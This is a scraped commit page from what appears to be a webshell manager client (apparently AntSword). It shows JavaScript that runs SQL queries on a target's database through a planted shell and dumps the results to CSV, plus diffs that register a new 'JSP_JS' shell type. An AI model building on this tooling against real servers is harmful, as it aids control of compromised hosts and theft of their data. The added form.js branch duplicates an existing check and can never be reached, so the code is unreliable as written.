opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_columns
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
db
,
table
:
table
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
if
(
ret
.
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
ret
;
}
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
Buffer
.
from
(
db
)
.
toString
(
'base64'
);
const
_table
=
Buffer
.
from
(
table
)
.
toString
(
'base64'
);
// 删除子节点
this
.
tree
.
deleteChildItems
(
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
_
=
antSword
.
unxss
(
_
);
const
_column
=
Buffer
.
from
(
_
.
substr
(
0
,
_
.
lastIndexOf
(
' '
)))
.
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
,
`column::
${
id
}
:
${
_db
}
:
${
_table
}
:
${
_column
}
`
,
antSword
.
noxss
(
_
),
null
,
this
.
manager
.
list
.
imgs
[
3
],
this
.
manager
.
list
.
imgs
[
3
],
this
.
manager
.
list
.
imgs
[
3
]);
});
// 更新编辑器SQL语句
this
.
manager
.
query
.
editor
.
session
.
setValue
(
conf
[
'type'
]
===
'oracle'
?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM
${
db
}
.
${
table
}
A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
:
`SELECT * FROM
${
db
}
.
${
table
}
ORDER BY 1 DESC LIMIT 0,20;`
);
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'column'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 执行SQL
execSQL
(
sql
)
{
this
.
manager
.
query
.
layout
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
this
.
dbconf
[
'type'
]}
`
].
query
({
conn
:
this
.
dbconf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
sql
:
sql
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
if
(
ret
.
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
ret
;
}
// 更新执行结果
this
.
updateResult
(
ret
);
this
.
manager
.
query
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
query
.
layout
.
progressOff
();
});
}
parseResult
(
data
)
{
// 1.分割数组
const
arr
=
data
.
split
(
'
\
n'
);
// 2.判断数据
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
// 3.行头
let
header_arr
=
(
arr
[
0
]).
replace
(
/,/g
,
','
).
split
(
'
\
t|
\
t'
);
if
(
header_arr
.
length
===
1
)
{
return
toastr
.
warning
(
LANG
[
'result'
][
'error'
][
'noresult'
],
LANG_T
[
'warning'
]);
};
if
(
header_arr
[
header_arr
.
length
-
1
]
===
'
\
r'
)
{
header_arr
.
pop
();
};
arr
.
shift
();
// 4.数据
let
data_arr
=
[];
arr
.
map
((
_
)
=>
{
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
for
(
let
i
=
0
;
i
<
_data
.
length
;
i
++
)
{
let
buff
=
Buffer
.
from
(
_data
[
i
],
"base64"
);
let
encoding
=
Decodes
.
detectEncoding
(
buff
,
{
defaultEncoding
:
"unknown"
});
if
(
encoding
==
"unknown"
)
{
encoding
=
this
.
dbconf
[
'encode'
]
||
''
;
}
encoding
=
encoding
!=
""
?
encoding
:
this
.
opt
.
core
.
__opts__
[
'encode'
];
let
text
=
Decodes
.
decode
(
buff
,
encoding
);
_data
[
i
]
=
antSword
.
noxss
(
text
);
}
data_arr
.
push
(
_data
);
});
data_arr
.
pop
();
return
{
headers
:
header_arr
,
datas
:
data_arr
}
}
// 更新SQL执行结果
updateResult
(
data
)
{
// 1.分割数组
const
arr
=
data
.
split
(
'
\
n'
);
// 2.判断数据
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
// 3.行头
let
header_arr
=
(
arr
[
0
]).
replace
(
/,/g
,
','
).
split
(
'
\
t|
\
t'
);
if
(
header_arr
.
length
===
1
)
{
return
toastr
.
warning
(
LANG
[
'result'
][
'error'
][
'noresult'
],
LANG_T
[
'warning'
]);
};
if
(
header_arr
[
header_arr
.
length
-
1
]
===
'
\
r'
)
{
header_arr
.
pop
();
};
arr
.
shift
();
// 4.数据
let
data_arr
=
[];
arr
.
map
((
_
)
=>
{
let
_data
=
_
.
split
(
'
\
t|
\
t'
);
for
(
let
i
=
0
;
i
<
_data
.
length
;
i
++
)
{
let
buff
=
new
Buffer
.
from
(
_data
[
i
],
"base64"
);
let
encoding
=
Decodes
.
detectEncoding
(
buff
,
{
defaultEncoding
:
"unknown"
});
if
(
encoding
==
"unknown"
)
{
encoding
=
this
.
dbconf
[
'encode'
]
||
''
;
}
encoding
=
encoding
!=
""
?
encoding
:
this
.
opt
.
core
.
__opts__
[
'encode'
];
let
text
=
Decodes
.
decode
(
buff
,
encoding
);
_data
[
i
]
=
antSword
.
noxss
(
text
,
false
);
}
data_arr
.
push
(
_data
);
});
data_arr
.
pop
();
// 5.初始化表格
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
grid
.
clearAll
();
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setColTypes
(
"txt,"
.
repeat
(
header_arr
.
length
).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setColumnMinWidth
(
100
,
header_arr
.
length
-
1
);
grid
.
setInitWidths
((
"100,"
.
repeat
(
header_arr
.
length
-
1
))
+
"*"
);
grid
.
setEditable
(
true
);
grid
.
init
();
// 添加数据
let
grid_data
=
[];
for
(
let
i
=
0
;
i
<
data_arr
.
length
;
i
++
)
{
grid_data
.
push
({
id
:
i
+
1
,
data
:
data_arr
[
i
]
});
}
grid
.
parse
({
'rows'
:
grid_data
},
'json'
);
// 启用导出按钮
this
.
manager
.
result
.
toolbar
[
grid_data
.
length
>
0
?
'enableItem'
:
'disableItem'
](
'dump'
);
}
// 导出查询数据
dumpResult
()
{
const
grid
=
this
.
manager
.
result
.
layout
.
getAttachedObject
();
let
filename
=
`
${
this
.
core
.
__opts__
.
ip
}
_
${
new
Date
()
.
format
(
"yyyyMMddhhmmss"
)}
.csv`
;
dialog
.
showSaveDialog
({
title
:
LANG
[
'result'
][
'dump'
][
'title'
],
defaultPath
:
filename
},
(
filePath
)
=>
{
if
(
!
filePath
)
{
return
;
};
let
headerStr
=
grid
.
hdrLabels
.
join
(
','
);
let
dataStr
=
grid
.
serializeToCSV
();
let
tempDataBuffer
=
Buffer
.
from
(
headerStr
+
'
\
n'
+
dataStr
);
fs
.
writeFileSync
(
filePath
,
tempDataBuffer
);
toastr
.
success
(
LANG
[
'result'
][
'dump'
][
'success'
],
LANG_T
[
'success'
]);
});
}
// 禁用toolbar按钮
disableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
result
.
toolbar
.
disableItem
(
'dump'
);
}
// 启用toolbar按钮
enableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
enableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
enableItem
(
'edit'
);
}
// 禁用SQL编辑框
disableEditor
()
{
[
'exec'
,
'clear'
].
map
(
this
.
manager
.
query
.
toolbar
.
disableItem
.
bind
(
this
.
manager
.
query
.
toolbar
));
this
.
manager
.
query
.
editor
.
setReadOnly
(
true
);
}
// 启用SQL编辑框
enableEditor
()
{
[
'exec'
,
'clear'
].
map
(
this
.
manager
.
query
.
toolbar
.
enableItem
.
bind
(
this
.
manager
.
query
.
toolbar
));
this
.
manager
.
query
.
editor
.
setReadOnly
(
false
);
}
}
module
.
exports
=
JSP_JS
;
\ No newline at end of file
source/modules/settings/encoders.js
View file @
a6efa86f
...
@@ -65,6 +65,11 @@ class Encoders {
...
@@ -65,6 +65,11 @@ class Encoders {
icon
:
'file-code-o'
,
icon
:
'file-code-o'
,
type
:
'button'
,
type
:
'button'
,
text
:
"JSP"
text
:
"JSP"
},
{
id
:
'new_jsp_js'
,
icon
:
'file-code-o'
,
type
:
'button'
,
text
:
"JSP_JS"
},
{
},
{
type
:
'separator'
type
:
'separator'
},
{
},
{
...
@@ -96,6 +101,11 @@ class Encoders {
...
@@ -96,6 +101,11 @@ class Encoders {
icon
:
'file-code-o'
,
icon
:
'file-code-o'
,
type
:
'button'
,
type
:
'button'
,
text
:
"JSP"
text
:
"JSP"
},
{
id
:
'new_jsp_js_decoder'
,
icon
:
'file-code-o'
,
type
:
'button'
,
text
:
"JSP_JS"
},
{
},
{
type
:
'separator'
type
:
'separator'
},
{
},
{
...
@@ -143,6 +153,9 @@ class Encoders {
...
@@ -143,6 +153,9 @@ class Encoders {
case
"new_jsp"
:
case
"new_jsp"
:
that
.
createEncoder
(
id
);
that
.
createEncoder
(
id
);
break
;
break
;
case
"new_jsp_js"
:
that
.
createEncoder
(
id
);
break
;
case
"new_php"
:
case
"new_php"
:
case
"new_php_rsa"
:
case
"new_php_rsa"
:
that
.
createEncoder
(
id
);
that
.
createEncoder
(
id
);
...
@@ -156,6 +169,9 @@ class Encoders {
...
@@ -156,6 +169,9 @@ class Encoders {
case
"new_jsp_decoder"
:
case
"new_jsp_decoder"
:
that
.
createEncoder
(
id
,
'decoder'
);
that
.
createEncoder
(
id
,
'decoder'
);
break
;
break
;
case
"new_jsp_js_decoder"
:
that
.
createEncoder
(
id
,
'decoder'
);
break
;
case
"new_custom_decoder"
:
case
"new_custom_decoder"
:
that
.
createEncoder
(
id
,
'decoder'
);
that
.
createEncoder
(
id
,
'decoder'
);
break
;
break
;
...
@@ -195,6 +211,7 @@ class Encoders {
...
@@ -195,6 +211,7 @@ class Encoders {
combobox
.
put
(
"aspx"
,
"ASPX"
);
combobox
.
put
(
"aspx"
,
"ASPX"
);
combobox
.
put
(
"php"
,
"PHP"
);
combobox
.
put
(
"php"
,
"PHP"
);
combobox
.
put
(
"jsp"
,
"JSP"
);
combobox
.
put
(
"jsp"
,
"JSP"
);
combobox
.
put
(
"jsp_js"
,
"JSP_JS"
);
combobox
.
put
(
"custom"
,
"CUSTOM"
);
combobox
.
put
(
"custom"
,
"CUSTOM"
);
grid
.
attachEvent
(
"onEditCell"
,
function
(
stage
,
rId
,
cInd
,
nValue
,
oValue
)
{
grid
.
attachEvent
(
"onEditCell"
,
function
(
stage
,
rId
,
cInd
,
nValue
,
oValue
)
{
...
@@ -226,7 +243,7 @@ class Encoders {
...
@@ -226,7 +243,7 @@ class Encoders {
break
break
case
2
:
case
2
:
// type
// type
if
(
nValue
!=
"asp"
&&
nValue
!=
"aspx"
&&
nValue
!=
"php"
&&
nValue
!=
"jsp"
&&
nValue
!=
"custom"
)
{
if
(
nValue
!=
"asp"
&&
nValue
!=
"aspx"
&&
nValue
!=
"php"
&&
nValue
!=
"jsp"
&&
nValue
!=
"
jsp_js"
&&
nValue
!=
"
custom"
)
{
toastr
.
error
(
LANG
[
'message'
][
"etype_error"
],
LANG_T
[
'error'
]);
toastr
.
error
(
LANG
[
'message'
][
"etype_error"
],
LANG_T
[
'error'
]);
return
return
}
}
...
@@ -766,6 +783,7 @@ module.exports = {
...
@@ -766,6 +783,7 @@ module.exports = {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
var
encoders_path
=
{
var
encoders_path
=
{
...
@@ -773,6 +791,7 @@ module.exports = {
...
@@ -773,6 +791,7 @@ module.exports = {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
let
userencoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
let
userencoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
...
@@ -780,7 +799,7 @@ module.exports = {
...
@@ -780,7 +799,7 @@ module.exports = {
!
fs
.
existsSync
(
userencoder_path
)
?
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
null
;
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'jsp_js'
,
'custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
null
;
...
@@ -815,6 +834,7 @@ module.exports = {
...
@@ -815,6 +834,7 @@ module.exports = {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
var
decoders_path
=
{
var
decoders_path
=
{
...
@@ -822,6 +842,7 @@ module.exports = {
...
@@ -822,6 +842,7 @@ module.exports = {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
...
@@ -829,7 +850,7 @@ module.exports = {
...
@@ -829,7 +850,7 @@ module.exports = {
!
fs
.
existsSync
(
userdecoder_path
)
?
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
null
;
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'jsp_js'
,
'custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
null
;
...
...
source/modules/shellmanager/list/form.js
View file @
a6efa86f
...
@@ -268,6 +268,7 @@ class Form {
...
@@ -268,6 +268,7 @@ class Form {
"aspx"
:
/.+
\.
as
(
px|mx
)
/
,
"aspx"
:
/.+
\.
as
(
px|mx
)
/
,
"asp"
:
/
.
+
\
.(
as
(
p
|
a
|
hx
)
|
c
(
dx
|
er
))
/
,
"asp"
:
/
.
+
\
.(
as
(
p
|
a
|
hx
)
|
c
(
dx
|
er
))
/
,
"jsp"
:
/
.
+
\
.(
jsp
[
x
]?)
/
,
"jsp"
:
/
.
+
\
.(
jsp
[
x
]?)
/
,
"jsp"
:
/.+
\.(
jsp
[
x
]?)
/
,
"custom"
:
/
.
+
\
.((
jsp
[
x
]?)
|
cgi
)
/
"custom"
:
/
.
+
\
.((
jsp
[
x
]?)
|
cgi
)
/
}
}
let
typecombo
=
form
.
getCombo
(
'type'
);
let
typecombo
=
form
.
getCombo
(
'type'
);
...
@@ -279,6 +280,8 @@ class Form {
...
@@ -279,6 +280,8 @@ class Form {
typecombo
.
selectOption
(
typecombo
.
getOption
(
'asp'
).
index
);
typecombo
.
selectOption
(
typecombo
.
getOption
(
'asp'
).
index
);
}
else
if
(
file_match
.
jsp
.
test
(
id
)
==
true
)
{
}
else
if
(
file_match
.
jsp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'jsp'
).
index
);
typecombo
.
selectOption
(
typecombo
.
getOption
(
'jsp'
).
index
);
}
else
if
(
file_match
.
jsp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'jsp_js'
).
index
);
}
else
if
(
file_match
.
custom
.
test
(
id
)
==
true
)
{
}
else
if
(
file_match
.
custom
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'custom'
).
index
);
typecombo
.
selectOption
(
typecombo
.
getOption
(
'custom'
).
index
);
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment